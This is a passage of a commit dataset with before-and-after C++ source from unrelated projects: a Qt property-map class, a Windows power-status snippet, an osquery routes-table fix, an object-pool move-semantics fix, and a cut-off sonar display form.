additional\n** rights.  These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include \"qmlpropertymap.h\"\n\n#include \"qmlopenmetaobject_p.h\"\n\n#include <QDebug>\n\nQT_BEGIN_NAMESPACE\n\n\/\/QmlPropertyMapMetaObject lets us listen for changes coming from QML\n\/\/so we can emit the changed signal.\nclass QmlPropertyMapMetaObject : public QmlOpenMetaObject\n{\npublic:\n    QmlPropertyMapMetaObject(QmlPropertyMap *obj, QmlPropertyMapPrivate *objPriv);\n\nprotected:\n    virtual void propertyWrite(int index);\n\nprivate:\n    QmlPropertyMap *map;\n    QmlPropertyMapPrivate *priv;\n};\n\nclass QmlPropertyMapPrivate : public QObjectPrivate\n{\n    Q_DECLARE_PUBLIC(QmlPropertyMap)\npublic:\n    QmlPropertyMapMetaObject *mo;\n    QStringList keys;\n    void emitChanged(const QString &key);\n};\n\nvoid QmlPropertyMapPrivate::emitChanged(const QString &key)\n{\n    Q_Q(QmlPropertyMap);\n    emit q->valueChanged(key);\n}\n\nQmlPropertyMapMetaObject::QmlPropertyMapMetaObject(QmlPropertyMap *obj, QmlPropertyMapPrivate *objPriv) : QmlOpenMetaObject(obj)\n{\n    map = obj;\n    priv = objPriv;\n}\n\nvoid QmlPropertyMapMetaObject::propertyWrite(int index)\n{\n    priv->emitChanged(QString::fromUtf8(name(index)));\n}\n\n\/*!\n    \\class QmlPropertyMap\n    \\brief The QmlPropertyMap class allows you to set key-value pairs that can be used in bindings.\n\n    QmlPropertyMap provides a convenient way to expose domain data to the UI layer.\n    The following example shows how you might declare data in C++ and then\n    access it in QML.\n\n    Setup in C++:\n    \\code\n    \/\/create our data\n    QmlPropertyMap ownerData;\n    ownerData.insert(\"name\", QVariant(QString(\"John Smith\")));\n    ownerData.insert(\"phone\", QVariant(QString(\"555-5555\")));\n\n    \/\/expose it to the UI layer\n    QmlContext *ctxt = view->bindContext();\n    ctxt->setProperty(\"owner\", &data);\n    \\endcode\n\n    Then, in QML:\n    \\code\n    Text { text: owner.name }\n    Text { text: owner.phone }\n    \\endcode\n\n    The binding is dynamic - whenever a key's value is updated, anything bound to that\n    key will be updated as well.\n\n    To detect value changes made in the UI layer you can connect to the valueChanged() signal.\n    However, note that valueChanged() is \\bold NOT emitted when changes are made by calling insert()\n    or clear() - it is only emitted when a value is updated from QML.\n\n    \\note It is not possible to remove keys from the map; once a key has been added, you can only\n    modify or clear its associated value.\n*\/\n\n\/*!\n    Constructs a bindable map with parent object \\a parent.\n*\/\nQmlPropertyMap::QmlPropertyMap(QObject *parent)\n: QObject(*(new QmlPropertyMapPrivate), parent)\n{\n    Q_D(QmlPropertyMap);\n    d->mo = new QmlPropertyMapMetaObject(this, d);\n}\n\n\/*!\n    Destroys the bindable map.\n*\/\nQmlPropertyMap::~QmlPropertyMap()\n{\n}\n\n\/*!\n    Clears the value (if any) associated with \\a key.\n*\/\nvoid QmlPropertyMap::clear(const QString &key)\n{\n    Q_D(QmlPropertyMap);\n    d->mo->setValue(key.toUtf8(), QVariant());\n}\n\n\/*!\n    Returns the value associated with \\a key.\n\n    If no value has been set for this key (or if the value has been cleared),\n    an invalid QVariant is returned.\n*\/\nQVariant QmlPropertyMap::value(const QString &key) const\n{\n    Q_D(const QmlPropertyMap);\n    return d->mo->value(key.toUtf8());\n}\n\n\/*!\n    Sets the value associated with \\a key to \\a value.\n\n    If the key doesn't exist, it is automatically created.\n*\/\nvoid QmlPropertyMap::insert(const QString &key, const QVariant &value)\n{\n    Q_D(QmlPropertyMap);\n    if (!d->keys.contains(key))\n        d->keys.append(key);\n    d->mo->setValue(key.toUtf8(), value);\n}\n\n\/*!\n    Returns the list of keys.\n\n    Keys that have been cleared will still appear in this list, even though their\n    associated values are invalid QVariants.\n*\/\nQStringList QmlPropertyMap::keys() const\n{\n    Q_D(const QmlPropertyMap);\n    return d->keys;\n}\n\n\/*!\n    \\overload\n\n    Same as size().\n*\/\nint QmlPropertyMap::count() const\n{\n    Q_D(const QmlPropertyMap);\n    return d->keys.count();\n}\n\n\/*!\n    Returns the number of keys in the map.\n\n    \\sa isEmpty(), count()\n*\/\nint QmlPropertyMap::size() const\n{\n    Q_D(const QmlPropertyMap);\n    return d->keys.size();\n}\n\n\/*!\n    Returns true if the map contains no keys; otherwise returns\n    false.\n\n    \\sa size()\n*\/\nbool QmlPropertyMap::isEmpty() const\n{\n    Q_D(const QmlPropertyMap);\n    return d->keys.isEmpty();\n}\n\n\/*!\n    Returns true if the map contains \\a key.\n\n    \\sa size()\n*\/\nbool QmlPropertyMap::contains(const QString &key) const\n{\n    Q_D(const QmlPropertyMap);\n    return d->keys.contains(key);\n}\n\n\/*!\n    Returns the value associated with the key \\a key as a modifiable\n    reference.\n\n    If the map contains no item with key \\a key, the function inserts\n    an invalid QVariant into the map with key \\a key, and\n    returns a reference to it.\n\n    \\sa insert(), value()\n*\/\nQVariant &QmlPropertyMap::operator[](const QString &key)\n{\n    \/\/### optimize\n    Q_D(QmlPropertyMap);\n    QByteArray utf8key = key.toUtf8();\n    if (!d->keys.contains(key)) {\n        d->keys.append(key);\n        d->mo->setValue(utf8key, QVariant());   \/\/force creation -- needed below\n    }\n\n    return (*(d->mo))[utf8key];\n}\n\n\/*!\n    \\overload\n\n    Same as value().\n*\/\nconst QVariant QmlPropertyMap::operator[](const QString &key) const\n{\n    return value(key);\n}\n\n\/*!\n    \\fn void QmlPropertyMap::valueChanged(const QString &key)\n    This signal is emitted whenever one of the values in the map is changed. \\a key\n    is the key corresponding to the value that was changed.\n\n    \\note valueChanged() is \\bold NOT emitted when changes are made by calling insert()\n    or clear() - it is only emitted when a value is updated from QML.\n*\/\n\nQT_END_NAMESPACE\n<|endoftext|>"}
{"text":"<commit_before>#include <Winbase.h>\n<commit_msg>yaaaY!!! it works!!<commit_after>\r\n#define _WIN32_WINNT NTDDI_WINXP\r\n#include <Windows.h>\r\n\r\n\r\nint main()\r\n{\r\n     SYSTEM_POWER_STATUS syspwr;\r\n     if (GetSystemPowerStatus(&syspwr))\r\n\t  std::cout << \"AC line active: \" << syspwr.ACLineStatus == 1 ? \"yes\" : \"no\" << std::endl;\r\n     return 0;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/*\n*  Copyright (c) 2014-present, Facebook, Inc.\n*  All rights reserved.\n*\n*  This source code is licensed under the BSD-style license found in the\n*  LICENSE file in the root directory of this source tree. An additional grant\n*  of patent rights can be found in the PATENTS file in the same directory.\n*\n*\/\n\n#define WIN32_LEAN_AND_MEAN\n\n#include <memory>\n#include <string>\n#include <windows.h>\n#include <winsock2.h>\n\n#include <wS2tcpip.h>\n#include <ws2ipdef.h>\n\n#include <iphlpapi.h>\n#include <mstcpip.h>\n\n#include <boost\/algorithm\/string\/join.hpp>\n#include <osquery\/logger.h>\n#include <osquery\/tables.h>\n\n#include \"osquery\/core\/conversions.h\"\n#include \"osquery\/core\/windows\/wmi.h\"\n\nnamespace osquery {\nnamespace tables {\n\nstd::map<DWORD, IP_ADAPTER_INFO> getAdapterAddressMapping() {\n  std::map<DWORD, IP_ADAPTER_INFO> returnMapping;\n  auto dwBufLen = 0UL;\n  auto dwStatus = GetAdaptersInfo(NULL, &dwBufLen);\n\n  if (dwStatus != ERROR_BUFFER_OVERFLOW) {\n    return returnMapping;\n  }\n\n  std::vector<BYTE> buffer(dwBufLen);\n  auto pAdapterInfo = reinterpret_cast<PIP_ADAPTER_INFO>(buffer.data());\n  dwStatus = GetAdaptersInfo(pAdapterInfo, &dwBufLen);\n\n  if (dwStatus != NO_ERROR) {\n    return returnMapping;\n  }\n\n  while (pAdapterInfo != nullptr) {\n    const auto& adapter = *pAdapterInfo;\n    const auto& index = pAdapterInfo->Index;\n    returnMapping.insert(std::make_pair(index, adapter));\n    pAdapterInfo = pAdapterInfo->Next;\n  }\n\n  buffer.clear();\n\n  return returnMapping;\n}\n\nstd::map<unsigned long, MIB_IPINTERFACE_ROW> getInterfaceRowMapping(\n    int type = AF_UNSPEC) {\n  std::map<unsigned long, MIB_IPINTERFACE_ROW> returnMapping;\n  PMIB_IPINTERFACE_TABLE interfaces;\n  auto dwRetVal = GetIpInterfaceTable(type, &interfaces);\n\n  if (dwRetVal != NO_ERROR) {\n    return returnMapping;\n  }\n\n  for (unsigned long i = 0; i < interfaces->NumEntries; ++i) {\n    MIB_IPINTERFACE_ROW currentRow = interfaces->Table[i];\n    returnMapping.insert(std::make_pair(currentRow.InterfaceIndex, currentRow));\n  }\n\n  FreeMibTable(interfaces);\n\n  return returnMapping;\n}\n\nQueryData genRoutes(QueryContext& context) {\n  QueryData results;\n  PMIB_IPFORWARD_TABLE2 ipTable = nullptr;\n  auto result = GetIpForwardTable2(AF_UNSPEC, &ipTable);\n\n  if (result != NO_ERROR) {\n    FreeMibTable(ipTable);\n\n    return results;\n  }\n\n  auto numEntries = ipTable[0].NumEntries;\n  auto interfaces = getInterfaceRowMapping();\n  auto adapters = getAdapterAddressMapping();\n\n  for (unsigned long i = 0; i < numEntries; ++i) {\n    Row r;\n    std::string interfaceIpAddress;\n    const auto& currentRow = ipTable[0].Table[i];\n    auto addrFamily = currentRow.DestinationPrefix.Prefix.si_family;\n    auto actualInterface = interfaces.at(currentRow.InterfaceIndex);\n    if (addrFamily == AF_INET6) {\n      std::vector<char> buffer(INET6_ADDRSTRLEN);\n\n      r[\"mtu\"] = INTEGER(actualInterface.NlMtu);\n      \/\/ These are all technically \"on-link\" addresses according to\n      \/\/ `route print -6`.\n      r[\"type\"] = \"local\";\n      auto ipAddress = currentRow.DestinationPrefix.Prefix.Ipv6.sin6_addr;\n      auto gateway = currentRow.NextHop.Ipv6.sin6_addr;\n\n      InetNtop(addrFamily, (PVOID)&ipAddress, buffer.data(), buffer.size());\n      r[\"destination\"] = SQL_TEXT(buffer.data());\n      InetNtop(addrFamily, (PVOID)&gateway, buffer.data(), buffer.size());\n      r[\"gateway\"] = SQL_TEXT(buffer.data());\n    } else if (addrFamily == AF_INET) {\n      std::vector<char> buffer(INET_ADDRSTRLEN);\n      auto ipAddress = currentRow.DestinationPrefix.Prefix.Ipv4.sin_addr;\n      auto gateway = currentRow.NextHop.Ipv4.sin_addr;\n\n      InetNtop(addrFamily, (PVOID)&ipAddress, buffer.data(), buffer.size());\n      r[\"destination\"] = SQL_TEXT(buffer.data());\n      buffer.clear();\n      InetNtop(addrFamily, (PVOID)&gateway, buffer.data(), buffer.size());\n      r[\"gateway\"] = SQL_TEXT(buffer.data());\n\n      \/\/ The software loopback is not returned by GetAdaptersInfo, so any\n      \/\/ lookups into that index must be skipped and default values set.\n      IP_ADAPTER_INFO actualAdapter;\n      if (currentRow.InterfaceIndex != 1) {\n        try {\n          actualAdapter = adapters.at(currentRow.InterfaceIndex);\n          interfaceIpAddress = actualAdapter.IpAddressList.IpAddress.String;\n          r[\"mtu\"] = INTEGER(actualInterface.NlMtu);\n        } catch (const std::out_of_range& oor) {\n          LOG(ERROR) << \"Error looking up interface \"\n                     << currentRow.InterfaceIndex;\n          LOG(ERROR) << oor.what();\n        }\n      } else {\n        interfaceIpAddress = \"127.0.0.1\";\n        r[\"mtu\"] = UNSIGNED_BIGINT(0xFFFFFFFF);\n      }\n      r[\"type\"] = currentRow.Loopback ? \"local\" : \"remote\";\n    }\n    r[\"interface\"] = SQL_TEXT(interfaceIpAddress);\n    r[\"metric\"] = INTEGER(currentRow.Metric + actualInterface.Metric);\n    r[\"netmask\"] =\n        SQL_TEXT(std::to_string(currentRow.DestinationPrefix.PrefixLength));\n    \/\/ TODO: implement routes flags\n    r[\"flags\"] = SQL_TEXT(\"-1\");\n\n    results.push_back(r);\n  }\n\n  \/\/ Cleanup\n  FreeMibTable(ipTable);\n\n  return results;\n}\n}\n}<commit_msg>[fix #3257] report proper routes for 0.0.0.0 (#3259)<commit_after>\/*\n*  Copyright (c) 2014-present, Facebook, Inc.\n*  All rights reserved.\n*\n*  This source code is licensed under the BSD-style license found in the\n*  LICENSE file in the root directory of this source tree. An additional grant\n*  of patent rights can be found in the PATENTS file in the same directory.\n*\n*\/\n\n#define WIN32_LEAN_AND_MEAN\n\n#include <memory>\n#include <string>\n#include <windows.h>\n#include <winsock2.h>\n\n#include <wS2tcpip.h>\n#include <ws2ipdef.h>\n\n#include <iphlpapi.h>\n#include <mstcpip.h>\n\n#include <boost\/algorithm\/string\/join.hpp>\n#include <osquery\/logger.h>\n#include <osquery\/tables.h>\n\n#include \"osquery\/core\/conversions.h\"\n#include \"osquery\/core\/windows\/wmi.h\"\n\nnamespace osquery {\nnamespace tables {\n\nstd::map<DWORD, IP_ADAPTER_INFO> getAdapterAddressMapping() {\n  std::map<DWORD, IP_ADAPTER_INFO> returnMapping;\n  auto dwBufLen = 0UL;\n  auto dwStatus = GetAdaptersInfo(NULL, &dwBufLen);\n\n  if (dwStatus != ERROR_BUFFER_OVERFLOW) {\n    return returnMapping;\n  }\n\n  std::vector<BYTE> buffer(dwBufLen);\n  auto pAdapterInfo = reinterpret_cast<PIP_ADAPTER_INFO>(buffer.data());\n  dwStatus = GetAdaptersInfo(pAdapterInfo, &dwBufLen);\n\n  if (dwStatus != NO_ERROR) {\n    return returnMapping;\n  }\n\n  while (pAdapterInfo != nullptr) {\n    const auto& adapter = *pAdapterInfo;\n    const auto& index = pAdapterInfo->Index;\n    returnMapping.insert(std::make_pair(index, adapter));\n    pAdapterInfo = pAdapterInfo->Next;\n  }\n\n  buffer.clear();\n\n  return returnMapping;\n}\n\nstd::map<unsigned long, MIB_IPINTERFACE_ROW> getInterfaceRowMapping(\n    int type = AF_UNSPEC) {\n  std::map<unsigned long, MIB_IPINTERFACE_ROW> returnMapping;\n  PMIB_IPINTERFACE_TABLE interfaces;\n  auto dwRetVal = GetIpInterfaceTable(type, &interfaces);\n\n  if (dwRetVal != NO_ERROR) {\n    return returnMapping;\n  }\n\n  for (unsigned long i = 0; i < interfaces->NumEntries; ++i) {\n    MIB_IPINTERFACE_ROW currentRow = interfaces->Table[i];\n    returnMapping.insert(std::make_pair(currentRow.InterfaceIndex, currentRow));\n  }\n\n  FreeMibTable(interfaces);\n\n  return returnMapping;\n}\n\nQueryData genRoutes(QueryContext& context) {\n  QueryData results;\n  PMIB_IPFORWARD_TABLE2 ipTable = nullptr;\n  auto result = GetIpForwardTable2(AF_UNSPEC, &ipTable);\n\n  if (result != NO_ERROR) {\n    FreeMibTable(ipTable);\n\n    return results;\n  }\n\n  auto numEntries = ipTable[0].NumEntries;\n  auto interfaces = getInterfaceRowMapping();\n  auto adapters = getAdapterAddressMapping();\n\n  for (unsigned long i = 0; i < numEntries; ++i) {\n    Row r;\n    std::string interfaceIpAddress;\n    const auto& currentRow = ipTable[0].Table[i];\n    auto addrFamily = currentRow.DestinationPrefix.Prefix.si_family;\n    auto actualInterface = interfaces.at(currentRow.InterfaceIndex);\n    if (addrFamily == AF_INET6) {\n      std::vector<char> buffer(INET6_ADDRSTRLEN);\n\n      r[\"mtu\"] = INTEGER(actualInterface.NlMtu);\n      \/\/ These are all technically \"on-link\" addresses according to\n      \/\/ `route print -6`.\n      r[\"type\"] = \"local\";\n      auto ipAddress = currentRow.DestinationPrefix.Prefix.Ipv6.sin6_addr;\n      auto gateway = currentRow.NextHop.Ipv6.sin6_addr;\n\n      InetNtop(addrFamily, (PVOID)&ipAddress, buffer.data(), buffer.size());\n      r[\"destination\"] = SQL_TEXT(buffer.data());\n      InetNtop(addrFamily, (PVOID)&gateway, buffer.data(), buffer.size());\n      r[\"gateway\"] = SQL_TEXT(buffer.data());\n    } else if (addrFamily == AF_INET) {\n      std::vector<char> buffer(INET_ADDRSTRLEN);\n      auto ipAddress = currentRow.DestinationPrefix.Prefix.Ipv4.sin_addr;\n      auto gateway = currentRow.NextHop.Ipv4.sin_addr;\n\n      InetNtop(addrFamily, (PVOID)&ipAddress, buffer.data(), buffer.size());\n      r[\"destination\"] = SQL_TEXT(buffer.data());\n      buffer.clear();\n\n      \/\/ The software loopback is not returned by GetAdaptersInfo, so any\n      \/\/ lookups into that index must be skipped and default values set.\n      IP_ADAPTER_INFO actualAdapter;\n      if (currentRow.InterfaceIndex != 1) {\n        try {\n          actualAdapter = adapters.at(currentRow.InterfaceIndex);\n          interfaceIpAddress = actualAdapter.IpAddressList.IpAddress.String;\n          r[\"gateway\"] = SQL_TEXT(actualAdapter.GatewayList.IpAddress.String);\n          r[\"mtu\"] = INTEGER(actualInterface.NlMtu);\n        } catch (const std::out_of_range& oor) {\n          LOG(ERROR) << \"Error looking up interface \"\n                     << currentRow.InterfaceIndex;\n          LOG(ERROR) << oor.what();\n        }\n      } else {\n        interfaceIpAddress = \"127.0.0.1\";\n        InetNtop(addrFamily, (PVOID)&gateway, buffer.data(), buffer.size());\n        r[\"gateway\"] = SQL_TEXT(buffer.data());\n        r[\"mtu\"] = UNSIGNED_BIGINT(0xFFFFFFFF);\n        buffer.clear();\n      }\n      r[\"type\"] = currentRow.Loopback ? \"local\" : \"remote\";\n    }\n    r[\"interface\"] = SQL_TEXT(interfaceIpAddress);\n    r[\"metric\"] = INTEGER(currentRow.Metric + actualInterface.Metric);\n    r[\"netmask\"] =\n        SQL_TEXT(std::to_string(currentRow.DestinationPrefix.PrefixLength));\n    \/\/ TODO: implement routes flags\n    r[\"flags\"] = SQL_TEXT(\"-1\");\n\n    results.push_back(r);\n  }\n\n  \/\/ Cleanup\n  FreeMibTable(ipTable);\n\n  return results;\n}\n}\n}<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <vector>\n#include <queue>\n\nnamespace AGE\n{\n\tclass ObjectPoolBase\n\t{\n\tpublic:\n\t\tObjectPoolBase(std::size_t chunkSize);\n\t\tObjectPoolBase() = delete;\n\t\tvirtual ~ObjectPoolBase();\n\t\tvirtual void destroy(void *ptr) = 0;\n\tprotected:\n\t\tstd::size_t _chunkSize;\n\t\tstd::size_t _objectSize;\n\t};\n\n\ttemplate <typename Type>\n\tclass ObjectPool : public ObjectPoolBase\n\t{\n\tprivate:\n\t\ttemplate <typename T>\n\t\tstruct Chunk\n\t\t{\n\t\t\tChunk(std::size_t size)\n\t\t\t{\n\t\t\t\tdata = new char[sizeof(T) * size];\n\t\t\t\tfor (auto i = 0; i < size; ++i)\n\t\t\t\t{\n\t\t\t\t\ttrash.push(i);\n\t\t\t\t}\n\t\t\t\tsizeOfT = sizeof(T);\n\t\t\t\tfrom = (std::size_t)(data);\n\t\t\t\tto = from + sizeOfT * size;\n\t\t\t}\n\t\t\t\n\t\t\t~Chunk()\n\t\t\t{\n\t\t\t\tdelete []data;\n\t\t\t}\n\n\t\t\tchar *data;\n\t\t\tstd::queue < std::size_t > trash;\n\t\t\tstd::size_t sizeOfT;\n\t\t\tstd::size_t from;\n\t\t\tstd::size_t to;\n\t\t\tinline bool hasEmptyPlace() { return trash.size() > 0; }\n\t\t\tinline bool isIn(std::size_t addr) { return from <= addr && to >= addr; }\n\n\t\t};\n\tpublic:\n\t\tObjectPool(std::size_t chunkSize = 1024)\n\t\t\t: ObjectPoolBase(chunkSize)\n\t\t{}\n\n\t\tvirtual ~ObjectPool()\n\t\t{\n\t\t\t\/\/ very very dirty\n\t\t\t\/\/ for the moment it's leaking\n\t\t}\n\n\t\tvirtual void destroy(void *ptr) final\n\t\t{\n\t\t\tdestroy((Type*)(ptr));\n\t\t}\n\n\t\tvoid destroy(Type *ptr)\n\t\t{\n\t\t\tif (!ptr)\n\t\t\t\treturn;\n\t\t\tsize_t addr = (size_t)(ptr);\n\t\t\tfor (auto &e : _chunks)\n\t\t\t{\n\t\t\t\tif (e.isIn(addr))\n\t\t\t\t{\n\t\t\t\t\tptr->~Type();\n\t\t\t\t\te.trash.push((addr - e.from) \/ e.sizeOfT);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t\tassert(false);\n\t\t}\n\n\t\tType *create()\n\t\t{\n\t\t\tChunk<Type> *chunk = nullptr;\n\n\t\t\tfor (auto &e : _chunks)\n\t\t\t{\n\t\t\t\tif (e.hasEmptyPlace())\n\t\t\t\t{\n\t\t\t\t\tchunk = &e;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (chunk == nullptr)\n\t\t\t{\n\t\t\t\t_chunks.emplace_back<Chunk<Type>>(_chunkSize);\n\t\t\t\tchunk = &_chunks.back();\n\t\t\t}\n\n\t\t\tauto index = chunk->trash.front();\n\t\t\tchunk->trash.pop();\n\t\t\tType *res = new (chunk->data + chunk->sizeOfT * index) Type();\n\t\t\treturn res;\n\t\t}\n\n\t\tstd::vector <Chunk<Type>> _chunks;\n\t};\n}<commit_msg>object pool fixed<commit_after>#pragma once\n\n#include <vector>\n#include <queue>\n\nnamespace AGE\n{\n\tclass ObjectPoolBase\n\t{\n\tpublic:\n\t\tObjectPoolBase(std::size_t chunkSize);\n\t\tObjectPoolBase() = delete;\n\t\tvirtual ~ObjectPoolBase();\n\t\tvirtual void destroy(void *ptr) = 0;\n\tprotected:\n\t\tstd::size_t _chunkSize;\n\t\tstd::size_t _objectSize;\n\t};\n\n\ttemplate <typename Type>\n\tclass ObjectPool : public ObjectPoolBase\n\t{\n\tprivate:\n\t\ttemplate <typename T>\n\t\tstruct Chunk\n\t\t{\n\t\t\tChunk()\n\t\t\t\t: data(nullptr)\n\t\t\t\t, from(0)\n\t\t\t\t, to(0)\n\t\t\t\t, sizeOfT(0)\n\t\t\t{\n\t\t\t}\n\n\t\t\tvoid init(std::size_t size)\n\t\t\t{\n\t\t\t\tassert(data == nullptr);\n\t\t\t\tdata = new char[sizeof(T) * size];\n\t\t\t\tfor (auto i = 0; i < size; ++i)\n\t\t\t\t{\n\t\t\t\t\ttrash.push(i);\n\t\t\t\t}\n\t\t\t\tsizeOfT = sizeof(T);\n\t\t\t\tfrom = (std::size_t)(data);\n\t\t\t\tto = from + sizeOfT * size;\n\t\t\t}\n\n\t\t\tChunk(Chunk &&o)\n\t\t\t\t: data(nullptr)\n\t\t\t\t, from(0)\n\t\t\t\t, to(0)\n\t\t\t\t, sizeOfT(0)\n\t\t\t{\n\t\t\t\tstd::swap(o.data, data);\n\t\t\t\tsizeOfT = std::move(o.sizeOfT);\n\t\t\t\tfrom = std::move(o.from);\n\t\t\t\tto = std::move(o.to);\n\t\t\t}\n\n\t\t\tChunk(const Chunk &o) = delete;\n\t\t\tChunk &operator=(const Chunk &o) = delete;\n\t\t\tChunk &operator=(Chunk &&o) = delete;\n\t\t\t\n\t\t\t~Chunk()\n\t\t\t{\n\t\t\t\tif (data)\n\t\t\t\t{\n\t\t\t\t\tdelete[]data;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tchar *data;\n\t\t\tstd::queue < std::size_t > trash;\n\t\t\tstd::size_t sizeOfT;\n\t\t\tstd::size_t from;\n\t\t\tstd::size_t to;\n\t\t\tinline bool hasEmptyPlace() { return trash.size() > 0; }\n\t\t\tinline bool isIn(std::size_t addr) { return from <= addr && to >= addr; }\n\n\t\t};\n\tpublic:\n\t\tObjectPool(std::size_t chunkSize = 1024)\n\t\t\t: ObjectPoolBase(chunkSize)\n\t\t{}\n\n\t\tvirtual ~ObjectPool()\n\t\t{\n\t\t\t\/\/ very very dirty\n\t\t\t\/\/ for the moment it's leaking\n\t\t}\n\n\t\tvirtual void destroy(void *ptr) final\n\t\t{\n\t\t\tdestroy((Type*)(ptr));\n\t\t}\n\n\t\tvoid destroy(Type *ptr)\n\t\t{\n\t\t\tif (!ptr)\n\t\t\t\treturn;\n\t\t\tsize_t addr = (size_t)(ptr);\n\t\t\tfor (auto &e : _chunks)\n\t\t\t{\n\t\t\t\tif (e.isIn(addr))\n\t\t\t\t{\n\t\t\t\t\tptr->~Type();\n\t\t\t\t\te.trash.push((addr - e.from) \/ e.sizeOfT);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t\tassert(false);\n\t\t}\n\n\t\tType *create()\n\t\t{\n\t\t\tChunk<Type> *chunk = nullptr;\n\n\t\t\tfor (auto &e : _chunks)\n\t\t\t{\n\t\t\t\tif (e.hasEmptyPlace())\n\t\t\t\t{\n\t\t\t\t\tchunk = &e;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (chunk == nullptr)\n\t\t\t{\n\t\t\t\t_chunks.push_back(Chunk<Type>());\n\t\t\t\tchunk = &_chunks.back();\n\t\t\t\tchunk->init(_chunkSize);\n\t\t\t}\n\n\t\t\tauto index = chunk->trash.front();\n\t\t\tchunk->trash.pop();\n\t\t\tType *res = new (chunk->data + chunk->sizeOfT * index) Type();\n\t\t\treturn res;\n\t\t}\n\n\t\tstd::vector <Chunk<Type>> _chunks;\n\t};\n}<|endoftext|>"}
{"text":"<commit_before>#include \"scanningsonar_form.h\"\r\n#include \"ui_scanningsonar_form.h\"\r\n#include \"sonarreturndata.h\"\r\n#include <Framework\/dataloghelper.h>\r\n\r\nScanningSonarForm::ScanningSonarForm(Module_ScanningSonar* sonar,QWidget *parent) :\r\n        QWidget(parent),\r\n        ui(new Ui::ScanningSonarForm),\r\n        scene()\r\n{\r\n    ui->setupUi(this);\r\n    this->sonar = sonar;\r\n\r\n    oldHeading = NAN;\r\n    oldStepSize = 0;\r\n\r\n    logger = Log4Qt::Logger::logger(\"ScanningSonarForm\");\r\n\r\n    this->ui->graphicsView->setScene(&scene);\r\n    scanLine = scene.addLine(0,0,0,50, QPen(QColor(\"red\")));\r\n    scanLine->setZValue(20);\r\n\r\n    scene.addLine(-50,0,50,0,QPen(QColor(\"white\")))->setZValue(10);\r\n    scene.addLine(0,-50,0,50,QPen(QColor(\"white\")))->setZValue(10);\r\n    scene.addEllipse(-50,-50,100,100,QPen(QColor(\"white\")))->setZValue(10);\r\n    scene.addEllipse(-40,-40,80,80,QPen(QColor(\"white\")))->setZValue(10);\r\n    scene.addEllipse(-30,-30,60,60,QPen(QColor(\"white\")))->setZValue(10);\r\n    scene.addEllipse(-20,-20,40,40,QPen(QColor(\"white\")))->setZValue(10);\r\n    scene.addEllipse(-10,-10,20,20,QPen(QColor(\"white\")))->setZValue(10);\r\n\r\n    connect(sonar, SIGNAL(newSonarData(SonarReturnData)), this, SLOT(updateSonarView(SonarReturnData)));\r\n\r\n    ui->serialPort->setText(sonar->getSettingsValue(\"serialPort\").toString());\r\n    ui->frequency->setCurrentIndex(sonar->getSettingsValue(\"frequency\").toInt());\r\n    ui->gain->setValue(sonar->getSettingsValue(\"gain\").toInt());\r\n    ui->pulseLength->setValue(sonar->getSettingsValue(\"pulseLength\").toInt());\r\n    ui->range->setValue(sonar->getSettingsValue(\"range\").toInt());\r\n    ui->sectorWidth->setValue(sonar->getSettingsValue(\"sectorWidth\").toInt());\r\n    ui->stepSize->setCurrentIndex(sonar->getSettingsValue(\"stepSize\").toInt()-1);\r\n    ui->switchDelay->setText(sonar->getSettingsValue(\"switchDelay\").toString());\r\n    ui->trainAngle->setText(sonar->getSettingsValue(\"trainAngle\").toString());\r\n    ui->dataPoints->setText(sonar->getSettingsValue(\"dataPoints\").toString());\r\n\r\n    ui->sourceFile->setChecked(sonar->getSettingsValue(\"readFromFile\").toBool());\r\n    ui->sourceSerial->setChecked(!sonar->getSettingsValue(\"readFromFile\").toBool());\r\n    ui->fileName->setText(sonar->getSettingsValue(\"filename\").toString());\r\n    ui->enableRecording->setChecked(sonar->getSettingsValue(\"enableRecording\").toBool());\r\n    ui->fileReaderDelay->setValue(sonar->getSettingsValue(\"fileReaderDelay\").toInt());\r\n    ui->formatCSV->setChecked(sonar->getSettingsValue(\"formatCSV\").toBool());\r\n    ui->format852->setChecked(!sonar->getSettingsValue(\"formatCSV\").toBool());\r\n    ui->startTime->setDateTime(sonar->getSettingsValue(\"startTime\").toDateTime());\r\n\r\n    ui->recorderFilename->setText(DataLogHelper::getLogDir()+\"sonarlog.XXX\");\r\n}\r\n\r\nScanningSonarForm::~ScanningSonarForm()\r\n{\r\n    delete ui;\r\n}\r\n\r\nvoid ScanningSonarForm::changeEvent(QEvent *e)\r\n{\r\n    QWidget::changeEvent(e);\r\n    switch (e->type()) {\r\n    case QEvent::LanguageChange:\r\n        ui->retranslateUi(this);\r\n        break;\r\n    default:\r\n        break;\r\n    }\r\n}\r\n\r\nvoid ScanningSonarForm::updateSonarView(const SonarReturnData data)\r\n{\r\n    float n = data.getEchoData().length();\r\n    float range = data.getRange();\r\n\r\n    if (oldStepSize != data.switchCommand.stepSize) {\r\n        oldStepSize = data.switchCommand.stepSize;\r\n        foreach (QGraphicsPolygonItem* o, queue) {\r\n            delete o;\r\n        }\r\n        queue.clear();\r\n    }\r\n\r\n    ui->time->setDateTime(data.switchCommand.time);\r\n    ui->heading->setText(QString::number(data.getHeadPosition()));\r\n    ui->gain_2->setText(QString::number(data.switchCommand.startGain));\r\n    ui->range_2->setText(QString::number(data.getRange()));\r\n\r\n    \/\/ TODO: if any of the parameters have changed; reset the scene\r\n\r\n    float newHeading = data.getHeadPosition();\r\n    int bla = oldHeading;\r\n    bool isnumber = (bla != 0);\r\n\r\n    if(ui->checkBox->isChecked() && isnumber && (fabs(newHeading - oldHeading)<20 || fabs(newHeading - oldHeading)>340))\r\n    {\r\n\r\n        QPolygonF polygon;\r\n\r\n        QPointF endPoint1 = QTransform().rotate(oldHeading).map(QPointF(range,0));\r\n        QPointF endPoint2 = QTransform().rotate(newHeading).map(QPointF(range,0));\r\n\r\n        polygon << QPointF(0,0) << endPoint1 << endPoint2;\r\n        QGraphicsPolygonItem 